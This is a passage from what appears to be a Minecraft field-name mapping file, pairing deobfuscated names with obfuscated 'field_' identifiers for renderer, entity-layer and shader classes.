net/minecraft/client/renderer/entity/RenderManager/field_78729_o +FD: net/minecraft/client/renderer/entity/RenderManager/skinMap net/minecraft/client/renderer/entity/RenderManager/field_178636_l +FD: net/minecraft/client/renderer/entity/RenderManager/playerRenderer net/minecraft/client/renderer/entity/RenderManager/field_178637_m +FD: net/minecraft/client/renderer/entity/RenderManager/textRenderer net/minecraft/client/renderer/entity/RenderManager/field_78736_p +FD: net/minecraft/client/renderer/entity/RenderManager/renderPosX net/minecraft/client/renderer/entity/RenderManager/field_78725_b +FD: net/minecraft/client/renderer/entity/RenderManager/renderPosY net/minecraft/client/renderer/entity/RenderManager/field_78726_c +FD: net/minecraft/client/renderer/entity/RenderManager/renderPosZ net/minecraft/client/renderer/entity/RenderManager/field_78723_d +FD: net/minecraft/client/renderer/entity/RenderManager/renderOutlines net/minecraft/client/renderer/entity/RenderManager/field_178639_r +FD: net/minecraft/client/renderer/entity/RenderManager/renderShadow net/minecraft/client/renderer/entity/RenderManager/field_178638_s +FD: net/minecraft/client/renderer/entity/RenderManager/debugBoundingBox net/minecraft/client/renderer/entity/RenderManager/field_85095_o +FD: net/minecraft/client/renderer/entity/Render/shadowTextures net/minecraft/client/renderer/entity/Render/field_110778_a +FD: net/minecraft/client/renderer/entity/Render/renderManager net/minecraft/client/renderer/entity/Render/field_76990_c +FD: net/minecraft/client/renderer/entity/Render/shadowSize net/minecraft/client/renderer/entity/Render/field_76989_e +FD: net/minecraft/client/renderer/entity/Render/shadowOpaque net/minecraft/client/renderer/entity/Render/field_76987_f +FD: net/minecraft/client/renderer/entity/RenderXPOrb/experienceOrbTextures net/minecraft/client/renderer/entity/RenderXPOrb/field_110785_a +FD: net/minecraft/client/renderer/entity/RenderFireball/scale net/minecraft/client/renderer/entity/RenderFireball/field_77002_a +FD: net/minecraft/client/renderer/entity/RenderFish/FISH_PARTICLES net/minecraft/client/renderer/entity/RenderFish/field_110792_a +FD: net/minecraft/command/CommandSpreadPlayers$Position/field_111101_a net/minecraft/command/CommandSpreadPlayers$Position/field_111101_a +FD: net/minecraft/command/CommandSpreadPlayers$Position/field_111100_b net/minecraft/command/CommandSpreadPlayers$Position/field_111100_b +FD: net/minecraft/client/renderer/entity/RenderGhast/ghastTextures net/minecraft/client/renderer/entity/RenderGhast/field_110869_a +FD: net/minecraft/client/renderer/entity/RenderGhast/ghastShootingTextures net/minecraft/client/renderer/entity/RenderGhast/field_110868_f +FD: net/minecraft/client/renderer/entity/RenderGiantZombie$1/field_177197_a net/minecraft/client/renderer/entity/RenderGiantZombie$1/field_177197_a +FD: net/minecraft/client/renderer/entity/RenderGiantZombie/zombieTextures net/minecraft/client/renderer/entity/RenderGiantZombie/field_110871_a +FD: net/minecraft/client/renderer/entity/RenderGiantZombie/scale net/minecraft/client/renderer/entity/RenderGiantZombie/field_77073_a +FD: net/minecraft/client/renderer/entity/RenderGuardian/field_177115_a net/minecraft/client/renderer/entity/RenderGuardian/field_177115_a +FD: net/minecraft/client/renderer/entity/RenderGuardian/GUARDIAN_TEXTURE net/minecraft/client/renderer/entity/RenderGuardian/field_177114_e +FD: net/minecraft/client/renderer/entity/RenderGuardian/GUARDIAN_ELDER_TEXTURE net/minecraft/client/renderer/entity/RenderGuardian/field_177116_j +FD: net/minecraft/client/renderer/entity/RenderGuardian/GUARDIAN_BEAM_TEXTURE net/minecraft/client/renderer/entity/RenderGuardian/field_177117_k +FD: net/minecraft/client/renderer/entity/RenderHorse/field_110852_a net/minecraft/client/renderer/entity/RenderHorse/field_110852_a +FD: net/minecraft/client/renderer/entity/RenderHorse/whiteHorseTextures net/minecraft/client/renderer/entity/RenderHorse/field_110850_f +FD: net/minecraft/client/renderer/entity/RenderHorse/muleTextures net/minecraft/client/renderer/entity/RenderHorse/field_110851_g +FD: net/minecraft/client/renderer/entity/RenderHorse/donkeyTextures net/minecraft/client/renderer/entity/RenderHorse/field_110855_h +FD: net/minecraft/client/renderer/entity/RenderHorse/zombieHorseTextures net/minecraft/client/renderer/entity/RenderHorse/field_110854_k +FD: net/minecraft/client/renderer/entity/RenderHorse/skeletonHorseTextures net/minecraft/client/renderer/entity/RenderHorse/field_110853_l +FD: net/minecraft/client/renderer/entity/RenderBiped/modelBipedMain net/minecraft/client/renderer/entity/RenderBiped/field_77071_a +FD: net/minecraft/client/renderer/entity/RenderBiped/field_77070_b net/minecraft/client/renderer/entity/RenderBiped/field_77070_b +FD: net/minecraft/client/renderer/entity/RenderBiped/DEFAULT_RES_LOC net/minecraft/client/renderer/entity/RenderBiped/field_177118_j +FD: net/minecraft/client/renderer/entity/RenderEntityItem/itemRenderer net/minecraft/client/renderer/entity/RenderEntityItem/field_177080_a +FD: net/minecraft/client/renderer/entity/RenderEntityItem/field_177079_e net/minecraft/client/renderer/entity/RenderEntityItem/field_177079_e +FD: net/minecraft/client/renderer/tileentity/RenderItemFrame/mapBackgroundTextures net/minecraft/client/renderer/tileentity/RenderItemFrame/field_110789_a +FD: net/minecraft/client/renderer/tileentity/RenderItemFrame/mc net/minecraft/client/renderer/tileentity/RenderItemFrame/field_147917_g +FD: net/minecraft/client/renderer/tileentity/RenderItemFrame/itemFrameModel net/minecraft/client/renderer/tileentity/RenderItemFrame/field_177072_f +FD: net/minecraft/client/renderer/tileentity/RenderItemFrame/mapModel net/minecraft/client/renderer/tileentity/RenderItemFrame/field_177073_g +FD: net/minecraft/client/renderer/tileentity/RenderItemFrame/itemRenderer net/minecraft/client/renderer/tileentity/RenderItemFrame/field_177074_h +FD: net/minecraft/client/renderer/entity/RenderItem$1/field_147929_a net/minecraft/client/renderer/entity/RenderItem$1/field_147929_a +FD: net/minecraft/client/renderer/entity/RenderItem$1/field_147928_b net/minecraft/client/renderer/entity/RenderItem$1/field_147928_b +FD: net/minecraft/client/renderer/entity/RenderItem$2/field_147926_a net/minecraft/client/renderer/entity/RenderItem$2/field_147926_a +FD: net/minecraft/client/renderer/entity/RenderItem$2/field_147925_b net/minecraft/client/renderer/entity/RenderItem$2/field_147925_b +FD: net/minecraft/client/renderer/entity/RenderItem$3/field_147935_a net/minecraft/client/renderer/entity/RenderItem$3/field_147935_a +FD: net/minecraft/client/renderer/entity/RenderItem$3/field_147934_b net/minecraft/client/renderer/entity/RenderItem$3/field_147934_b +FD: net/minecraft/client/renderer/entity/RenderItem$4/field_147932_a net/minecraft/client/renderer/entity/RenderItem$4/field_147932_a +FD: net/minecraft/client/renderer/entity/RenderItem$4/field_147931_b net/minecraft/client/renderer/entity/RenderItem$4/field_147931_b +FD: net/minecraft/client/renderer/entity/RenderItem$5/field_178117_a net/minecraft/client/renderer/entity/RenderItem$5/field_178117_a +FD: net/minecraft/client/renderer/entity/RenderItem$6/field_178118_a net/minecraft/client/renderer/entity/RenderItem$6/field_178118_a +FD: net/minecraft/client/renderer/entity/RenderItem$7/field_178115_a net/minecraft/client/renderer/entity/RenderItem$7/field_178115_a +FD: net/minecraft/client/renderer/entity/RenderItem$8/field_178116_a net/minecraft/client/renderer/entity/RenderItem$8/field_178116_a +FD: net/minecraft/client/renderer/entity/RenderItem$9/field_178114_a net/minecraft/client/renderer/entity/RenderItem$9/field_178114_a +FD: net/minecraft/client/renderer/entity/RenderItem/zLevel net/minecraft/client/renderer/entity/RenderItem/field_77023_b +FD: net/minecraft/client/renderer/entity/RenderItem/RES_ITEM_GLINT net/minecraft/client/renderer/entity/RenderItem/field_110798_h +FD: net/minecraft/client/renderer/entity/RenderItem/notRenderingEffectsInGUI net/minecraft/client/renderer/entity/RenderItem/field_175058_l +FD: net/minecraft/client/renderer/entity/RenderItem/itemModelMesher net/minecraft/client/renderer/entity/RenderItem/field_175059_m +FD: net/minecraft/client/renderer/entity/RenderItem/textureManager net/minecraft/client/renderer/entity/RenderItem/field_175057_n +FD: net/minecraft/client/renderer/entity/RenderMagmaCube/magmaCubeTextures net/minecraft/client/renderer/entity/RenderMagmaCube/field_110873_a +FD: net/minecraft/client/renderer/entity/RenderLeashKnot/leashKnotTextures net/minecraft/client/renderer/entity/RenderLeashKnot/field_110802_a +FD: net/minecraft/client/renderer/entity/RenderLeashKnot/leashKnotModel net/minecraft/client/renderer/entity/RenderLeashKnot/field_110801_f +FD: net/minecraft/client/renderer/entity/RendererLivingEntity$1/field_178679_a net/minecraft/client/renderer/entity/RendererLivingEntity$1/field_178679_a +FD: net/minecraft/client/renderer/entity/RendererLivingEntity/logger net/minecraft/client/renderer/entity/RendererLivingEntity/field_147923_a +FD: net/minecraft/client/renderer/entity/RendererLivingEntity/textureBrightness net/minecraft/client/renderer/entity/RendererLivingEntity/field_177096_e +FD: net/minecraft/client/renderer/entity/RendererLivingEntity/mainModel net/minecraft/client/renderer/entity/RendererLivingEntity/field_77045_g +FD: net/minecraft/client/renderer/entity/RendererLivingEntity/brightnessBuffer net/minecraft/client/renderer/entity/RendererLivingEntity/field_177095_g +FD: net/minecraft/client/renderer/entity/RendererLivingEntity/layerRenderers net/minecraft/client/renderer/entity/RendererLivingEntity/field_177097_h +FD: net/minecraft/client/renderer/entity/RendererLivingEntity/renderOutlines net/minecraft/client/renderer/entity/RendererLivingEntity/field_177098_i +FD: net/minecraft/client/renderer/entity/RenderMinecart/modelMinecart net/minecraft/client/renderer/entity/RenderMinecart/field_77013_a +FD: net/minecraft/client/renderer/entity/RenderMinecart/minecartTextures net/minecraft/client/renderer/entity/RenderMinecart/field_110804_g +FD: net/minecraft/client/renderer/entity/RenderMooshroom/mooshroomTextures net/minecraft/client/renderer/entity/RenderMooshroom/field_110880_a +FD: net/minecraft/client/renderer/entity/RenderOcelot/blackOcelotTextures net/minecraft/client/renderer/entity/RenderOcelot/field_110877_a +FD: net/minecraft/client/renderer/entity/RenderOcelot/ocelotTextures net/minecraft/client/renderer/entity/RenderOcelot/field_110875_f +FD: net/minecraft/client/renderer/entity/RenderOcelot/redOcelotTextures net/minecraft/client/renderer/entity/RenderOcelot/field_110876_g +FD: net/minecraft/client/renderer/entity/RenderOcelot/siameseOcelotTextures net/minecraft/client/renderer/entity/RenderOcelot/field_110878_h +FD: net/minecraft/client/renderer/entity/RenderPainting/KRISTOFFER_PAINTING_TEXTURE net/minecraft/client/renderer/entity/RenderPainting/field_110807_a +FD: net/minecraft/client/renderer/entity/RenderPig/pigTextures net/minecraft/client/renderer/entity/RenderPig/field_110887_f +FD: net/minecraft/client/renderer/entity/RenderPigZombie$1/field_177198_a net/minecraft/client/renderer/entity/RenderPigZombie$1/field_177198_a +FD: net/minecraft/client/renderer/entity/RenderPigZombie/ZOMBIE_PIGMAN_TEXTURE net/minecraft/client/renderer/entity/RenderPigZombie/field_177120_j +FD: net/minecraft/client/renderer/entity/RenderRabbit/BROWN net/minecraft/client/renderer/entity/RenderRabbit/field_177127_a +FD: net/minecraft/client/renderer/entity/RenderRabbit/WHITE net/minecraft/client/renderer/entity/RenderRabbit/field_177126_e +FD: net/minecraft/client/renderer/entity/RenderRabbit/BLACK net/minecraft/client/renderer/entity/RenderRabbit/field_177132_j +FD: net/minecraft/client/renderer/entity/RenderRabbit/GOLD net/minecraft/client/renderer/entity/RenderRabbit/field_177133_k +FD: net/minecraft/client/renderer/entity/RenderRabbit/SALT net/minecraft/client/renderer/entity/RenderRabbit/field_177130_l +FD: net/minecraft/client/renderer/entity/RenderRabbit/WHITE_SPLOTCHED net/minecraft/client/renderer/entity/RenderRabbit/field_177131_m +FD: net/minecraft/client/renderer/entity/RenderRabbit/TOAST net/minecraft/client/renderer/entity/RenderRabbit/field_177128_n +FD: net/minecraft/client/renderer/entity/RenderRabbit/CAERBANNOG net/minecraft/client/renderer/entity/RenderRabbit/field_177129_o +FD: net/minecraft/client/renderer/entity/RenderSheep/shearedSheepTextures net/minecraft/client/renderer/entity/RenderSheep/field_110884_f +FD: net/minecraft/client/renderer/entity/RenderSilverfish/silverfishTextures net/minecraft/client/renderer/entity/RenderSilverfish/field_110882_a +FD: net/minecraft/client/renderer/entity/RenderSkeleton$1/field_177199_a net/minecraft/client/renderer/entity/RenderSkeleton$1/field_177199_a +FD: net/minecraft/client/renderer/entity/RenderSkeleton/skeletonTextures net/minecraft/client/renderer/entity/RenderSkeleton/field_110862_k +FD: net/minecraft/client/renderer/entity/RenderSkeleton/witherSkeletonTextures net/minecraft/client/renderer/entity/RenderSkeleton/field_110861_l +FD: net/minecraft/client/renderer/entity/RenderSlime/slimeTextures net/minecraft/client/renderer/entity/RenderSlime/field_110897_a +FD: net/minecraft/client/renderer/entity/RenderSnowMan/snowManTextures net/minecraft/client/renderer/entity/RenderSnowMan/field_110895_a +FD: net/minecraft/client/renderer/entity/RenderSpider/spiderTextures net/minecraft/client/renderer/entity/RenderSpider/field_110890_f +FD: net/minecraft/client/renderer/entity/RenderSquid/squidTextures net/minecraft/client/renderer/entity/RenderSquid/field_110901_a +FD: net/minecraft/client/renderer/entity/RenderSnowball/field_177084_a net/minecraft/client/renderer/entity/RenderSnowball/field_177084_a +FD: net/minecraft/client/renderer/entity/RenderSnowball/field_177083_e net/minecraft/client/renderer/entity/RenderSnowball/field_177083_e +FD: net/minecraft/client/renderer/entity/RenderIronGolem/ironGolemTextures net/minecraft/client/renderer/entity/RenderIronGolem/field_110899_a +FD: net/minecraft/client/renderer/entity/RenderVillager/villagerTextures net/minecraft/client/renderer/entity/RenderVillager/field_110903_f +FD: net/minecraft/client/renderer/entity/RenderVillager/farmerVillagerTextures net/minecraft/client/renderer/entity/RenderVillager/field_110904_g +FD: net/minecraft/client/renderer/entity/RenderVillager/librarianVillagerTextures net/minecraft/client/renderer/entity/RenderVillager/field_110908_h +FD: net/minecraft/client/renderer/entity/RenderVillager/priestVillagerTextures net/minecraft/client/renderer/entity/RenderVillager/field_110907_k +FD: net/minecraft/client/renderer/entity/RenderVillager/smithVillagerTextures net/minecraft/client/renderer/entity/RenderVillager/field_110905_l +FD: net/minecraft/client/renderer/entity/RenderVillager/butcherVillagerTextures net/minecraft/client/renderer/entity/RenderVillager/field_110906_m +FD: net/minecraft/client/renderer/entity/RenderWitch/witchTextures net/minecraft/client/renderer/entity/RenderWitch/field_110910_a +FD: net/minecraft/client/renderer/entity/RenderWither/invulnerableWitherTextures net/minecraft/client/renderer/entity/RenderWither/field_110913_a +FD: net/minecraft/client/renderer/entity/RenderWither/witherTextures net/minecraft/client/renderer/entity/RenderWither/field_110912_f +FD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/invulnerableWitherTextures net/minecraft/client/renderer/tileentity/RenderWitherSkull/field_110811_a +FD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/witherTextures net/minecraft/client/renderer/tileentity/RenderWitherSkull/field_110810_f +FD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/skeletonHeadModel net/minecraft/client/renderer/tileentity/RenderWitherSkull/field_82401_a +FD: net/minecraft/client/renderer/entity/RenderWolf/wolfTextures net/minecraft/client/renderer/entity/RenderWolf/field_110917_a +FD: net/minecraft/client/renderer/entity/RenderWolf/tamedWolfTextures net/minecraft/client/renderer/entity/RenderWolf/field_110915_f +FD: net/minecraft/client/renderer/entity/RenderWolf/anrgyWolfTextures net/minecraft/client/renderer/entity/RenderWolf/field_110916_g +FD: net/minecraft/client/renderer/entity/RenderZombie$1/field_177200_a net/minecraft/client/renderer/entity/RenderZombie$1/field_177200_a +FD: net/minecraft/client/renderer/entity/RenderZombie/zombieTextures net/minecraft/client/renderer/entity/RenderZombie/field_110865_p +FD: net/minecraft/client/renderer/entity/RenderZombie/zombieVillagerTextures net/minecraft/client/renderer/entity/RenderZombie/field_110864_q +FD: net/minecraft/client/renderer/entity/RenderZombie/field_82434_o net/minecraft/client/renderer/entity/RenderZombie/field_82434_o +FD: net/minecraft/client/renderer/entity/RenderZombie/zombieVillagerModel net/minecraft/client/renderer/entity/RenderZombie/field_82432_p +FD: net/minecraft/client/renderer/entity/RenderZombie/field_177121_n net/minecraft/client/renderer/entity/RenderZombie/field_177121_n +FD: net/minecraft/client/renderer/entity/RenderZombie/field_177122_o net/minecraft/client/renderer/entity/RenderZombie/field_177122_o +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase$1/field_178747_a net/minecraft/client/renderer/entity/layers/LayerArmorBase$1/field_178747_a +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/renderer net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177190_a +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/ENCHANTED_ITEM_GLINT_RES net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177188_b +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/modelLeggings net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177189_c +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/modelArmor net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177186_d +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/alpha net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177187_e +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/colorR net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177184_f +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/colorG net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177185_g +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/colorB net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177192_h +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/skipRenderGlint net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177193_i +FD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/ARMOR_TEXTURE_RES_MAP net/minecraft/client/renderer/entity/layers/LayerArmorBase/field_177191_j +FD: net/minecraft/client/renderer/entity/layers/LayerArrow/field_177168_a net/minecraft/client/renderer/entity/layers/LayerArrow/field_177168_a +FD: net/minecraft/client/renderer/entity/layers/LayerCape/playerRenderer net/minecraft/client/renderer/entity/layers/LayerCape/field_177167_a +FD: net/minecraft/client/renderer/entity/layers/LayerHeldBlock/endermanRenderer net/minecraft/client/renderer/entity/layers/LayerHeldBlock/field_177174_a +FD: net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/LIGHTNING_TEXTURE net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/field_177172_a +FD: net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/creeperRenderer net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/field_177170_b +FD: net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/creeperModel net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/field_177171_c +FD: net/minecraft/client/renderer/entity/layers/LayerCustomHead/field_177209_a net/minecraft/client/renderer/entity/layers/LayerCustomHead/field_177209_a +FD: net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/playerRenderer net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/field_177208_a +FD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/TEXTURE net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/field_177212_a +FD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/dragonRenderer net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/field_177211_b +FD: net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/RES_ENDERMAN_EYES net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/field_177203_a +FD: net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/endermanRenderer net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/field_177202_b +FD: net/minecraft/client/renderer/entity/layers/LayerHeldItem/livingEntityRenderer net/minecraft/client/renderer/entity/layers/LayerHeldItem/field_177206_a +FD: net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/mooshroomRenderer net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/field_177205_a +FD: net/minecraft/client/renderer/entity/layers/LayerSaddle/TEXTURE net/minecraft/client/renderer/entity/layers/LayerSaddle/field_177158_a +FD: net/minecraft/client/renderer/entity/layers/LayerSaddle/pigRenderer net/minecraft/client/renderer/entity/layers/LayerSaddle/field_177156_b +FD: net/minecraft/client/renderer/entity/layers/LayerSaddle/pigModel net/minecraft/client/renderer/entity/layers/LayerSaddle/field_177157_c +FD: net/minecraft/client/renderer/entity/layers/LayerSheepWool/TEXTURE net/minecraft/client/renderer/entity/layers/LayerSheepWool/field_177165_a +FD: net/minecraft/client/renderer/entity/layers/LayerSheepWool/sheepRenderer net/minecraft/client/renderer/entity/layers/LayerSheepWool/field_177163_b +FD: net/minecraft/client/renderer/entity/layers/LayerSheepWool/sheepModel net/minecraft/client/renderer/entity/layers/LayerSheepWool/field_177164_c +FD: net/minecraft/client/renderer/entity/layers/LayerSlimeGel/slimeRenderer net/minecraft/client/renderer/entity/layers/LayerSlimeGel/field_177161_a +FD: net/minecraft/client/renderer/entity/layers/LayerSlimeGel/slimeModel net/minecraft/client/renderer/entity/layers/LayerSlimeGel/field_177160_b +FD: net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/snowManRenderer net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/field_177152_a +FD: net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/SPIDER_EYES net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/field_177150_a +FD: net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/spiderRenderer net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/field_177149_b +FD: net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/ironGolemRenderer net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/field_177154_a +FD: net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/witchRenderer net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/field_177144_a +FD: net/minecraft/client/renderer/entity/layers/LayerWitherAura/WITHER_ARMOR net/minecraft/client/renderer/entity/layers/LayerWitherAura/field_177217_a +FD: net/minecraft/client/renderer/entity/layers/LayerWitherAura/witherRenderer net/minecraft/client/renderer/entity/layers/LayerWitherAura/field_177215_b +FD: net/minecraft/client/renderer/entity/layers/LayerWitherAura/witherModel net/minecraft/client/renderer/entity/layers/LayerWitherAura/field_177216_c +FD: net/minecraft/client/renderer/entity/layers/LayerWolfCollar/WOLF_COLLAR net/minecraft/client/renderer/entity/layers/LayerWolfCollar/field_177147_a +FD: net/minecraft/client/renderer/entity/layers/LayerWolfCollar/wolfRenderer net/minecraft/client/renderer/entity/layers/LayerWolfCollar/field_177146_b +FD: net/minecraft/client/renderer/entity/RenderPlayer/smallArms net/minecraft/client/renderer/entity/RenderPlayer/field_177140_a +FD: net/minecraft/client/util/JsonBlendingMode/field_148118_a net/minecraft/client/util/JsonBlendingMode/field_148118_a +FD: net/minecraft/client/util/JsonBlendingMode/field_148116_b net/minecraft/client/util/JsonBlendingMode/field_148116_b +FD: net/minecraft/client/util/JsonBlendingMode/field_148117_c net/minecraft/client/util/JsonBlendingMode/field_148117_c +FD: net/minecraft/client/util/JsonBlendingMode/field_148114_d net/minecraft/client/util/JsonBlendingMode/field_148114_d +FD: net/minecraft/client/util/JsonBlendingMode/field_148115_e net/minecraft/client/util/JsonBlendingMode/field_148115_e +FD: net/minecraft/client/util/JsonBlendingMode/field_148112_f net/minecraft/client/util/JsonBlendingMode/field_148112_f +FD: net/minecraft/client/util/JsonBlendingMode/field_148113_g net/minecraft/client/util/JsonBlendingMode/field_148113_g +FD: net/minecraft/client/util/JsonBlendingMode/field_148119_h net/minecraft/client/util/JsonBlendingMode/field_148119_h +FD: net/minecraft/client/shader/ShaderManager/logger net/minecraft/client/shader/ShaderManager/field_148003_a +FD: net/minecraft/client/shader/ShaderManager/defaultShaderUniform net/minecraft/client/shader/ShaderManager/field_148001_b +FD: net/minecraft/client/shader/ShaderManager/staticShaderManager net/minecraft/client/shader/ShaderManager/field_148002_c +FD: net/minecraft/client/shader/ShaderManager/currentProgram net/minecraft/client/shader/ShaderManager/field_147999_d +FD: net/minecraft/client/shader/ShaderManager/field_148000_e net/minecraft/client/shader/ShaderManager/field_148000_e +FD: net/minecraft/client/shader/ShaderManager/shaderSamplers net/minecraft/client/shader/ShaderManager/field_147997_f +FD: net/minecraft/client/shader/ShaderManager/samplerNames net/minecraft/client/shader/ShaderManager/field_147998_g +FD: net/minecraft/client/shader/ShaderManager/shaderSamplerLocations net/minecraft/client/shader/ShaderManager/field_148010_h +FD: net/minecraft/client/shader/ShaderManager/shaderUniforms net/minecraft/client/shader/ShaderManager/field_148011_i +FD: net/minecraft/client/shader/ShaderManager/shaderUniformLocations net/minecraft/client/shader/ShaderManager/field_148008_j +FD: net/minecraft/client/shader/ShaderManager/mappedShaderUniforms net/minecraft/client/shader/ShaderManager/field_148009_k +FD: net/minecraft/client/shader/ShaderManager/program net/minecraft/client/shader/ShaderManager/field_148006_l +FD: net/minecraft/client/shader/ShaderManager/programFilename net/minecraft/client/shader/ShaderManager/field_148007_m +FD: net/minecraft/client/shader/ShaderManager/useFaceCulling net/minecraft/client/shader/ShaderManager/field_148004_n +FD: net/minecraft/client/shader/ShaderManager/isDirty net/minecraft/client/shader/ShaderManager/field_148005_o +FD: net/minecraft/client/shader/ShaderManager/field_148016_p net/minecraft/client/shader/ShaderManager/field_148016_p +FD: net/minecraft/client/shader/ShaderManager/attribLocations net/minecraft/client/shader/ShaderManager/field_148015_q +FD: net/minecraft/client/shader/ShaderManager/attributes net/minecraft/client/shader/ShaderManager/field_148014_r +FD: net/minecraft/client/shader/ShaderManager/vertexShaderLoader net/minecraft/client/shader/ShaderManager/field_148013_s +FD: net/minecraft/client/shader/ShaderManager/fragmentShaderLoader net/minecraft/client/shader/ShaderManager/field_148012_t +FD: net/minecraft/client/shader/ShaderGroup/mainFramebuffer net/minecraft/client/shader/ShaderGroup/field_148035_a +FD: net/minecraft/client/shader/ShaderGroup/resourceManager net/minecraft/client/shader/ShaderGroup/field_148033_b +FD: net/minecraft/client/shader/ShaderGroup/shaderGroupName net/minecraft/client/shader/ShaderGroup/field_148034_c +FD: net/minecraft/client/shader/ShaderGroup/listShaders net/minecraft/client/shader/ShaderGroup/field_148031_d +FD: net/minecraft/client/shader/ShaderGroup/mapFramebuffers net/minecraft/client/shader/ShaderGroup/field_148032_e +FD: net/minecraft/client/shader/ShaderGroup/listFramebuffers net/minecraft/client/shader/ShaderGroup/field_148029_f +FD: net/minecraft/client/shader/ShaderGroup/projectionMatrix net/minecraft/client/shader/ShaderGroup/field_148030_g +FD: net/minecraft/client/shader/ShaderGroup/mainFramebufferWidth net/minecraft/client/shader/ShaderGroup/field_148038_h +FD: net/minecraft/client/shader/ShaderGroup/mainFramebufferHeight net/minecraft/client/shader/ShaderGroup/field_148039_i +FD: net/minecraft/client/shader/ShaderGroup/field_148036_j net/minecraft/client/shader/ShaderGroup/field_148036_j +FD: net/minecraft/client/shader/ShaderGroup/field_148037_k net/minecraft/client/shader/ShaderGroup/field_148037_k +FD: net/minecraft/client/shader/Shader/framebufferIn net/minecraft/client/shader/Shader/field_148052_a +FD: net/minecraft/client/shader/Shader/framebufferOut net/minecraft/client/shader/Shader/field_148050_b +FD: net/minecraft/client/shader/Shader/manager net/minecraft/client/shader/Shader/field_148051_c +FD: net/minecraft/client/shader/Shader/listAuxFramebuffers net/minecraft/client/shader/Shader/field_148048_d +FD: net/minecraft/client/shader/Shader/listAuxNames net/minecraft/client/shader/Shader/field_148049_e +FD: net/minecraft/client/shader/Shader/listAuxWidths net/minecraft/client/shader/Shader/field_148046_f +FD: net/minecraft/client/shader/Shader/listAuxHeights net/minecraft/client/shader/Shader/field_148047_g +FD: net/minecraft/client/shader/Shader/projectionMatrix net/minecraft/client/shader/Shader/field_148053_h +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/VERTEX net/minecraft/client/shader/ShaderLoader$ShaderType/VERTEX +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/FRAGMENT net/minecraft/client/shader/ShaderLoader$ShaderType/FRAGMENT +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/shaderName net/minecraft/client/shader/ShaderLoader$ShaderType/field_148072_c +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/shaderExtension net/minecraft/client/shader/ShaderLoader$ShaderType/field_148069_d +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/shaderMode net/minecraft/client/shader/ShaderLoader$ShaderType/field_148070_e +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/loadedShaders net/minecraft/client/shader/ShaderLoader$ShaderType/field_148067_f +FD: net/minecraft/client/shader/ShaderLoader$ShaderType/$VALUES net/minecraft/client/shader/ShaderLoader$ShaderType/$VALUES +FD: net/minecraft/client/shader/ShaderLoader/shaderType net/minecraft/client/shader/ShaderLoader/field_148061_a +FD: net/minecraft/client/shader/ShaderLoader/shaderFilename net/minecraft/client/shader/ShaderLoader/field_148059_b +FD: net/minecraft/client/shader/ShaderLoader/shader net/minecraft/client/shader/ShaderLoader/field_148060_c +FD: net/minecraft/client/shader/ShaderLoader/shaderAttachCount net/minecraft/client/shader/ShaderLoader/field_148058_d +FD: net/minecraft/client/shader/ShaderLinkHelper/logger net/minecraft/client/shader/ShaderLinkHelper/field_148080_a +FD: net/minecraft/client/shader/ShaderLinkHelper/staticShaderLinkHelper net/minecraft/client/shader/ShaderLinkHelper/field_148079_b +FD: net/minecraft/client/shader/ShaderUniform/logger net/minecraft/client/shader/ShaderUniform/field_148104_a +FD: net/minecraft/client/shader/ShaderUniform/uniformLocation net/minecraft/client/shader/ShaderUniform/field_148102_b +FD: net/minecraft/client/shader/ShaderUniform/uniformCount net/minecraft/client/shader/ShaderUniform/field_148103_c +FD: net/minecraft/client/shader/ShaderUniform/uniformType net/minecraft/client/shader/ShaderUniform/field_148100_d +FD: net/minecraft/client/shader/ShaderUniform/uniformIntBuffer 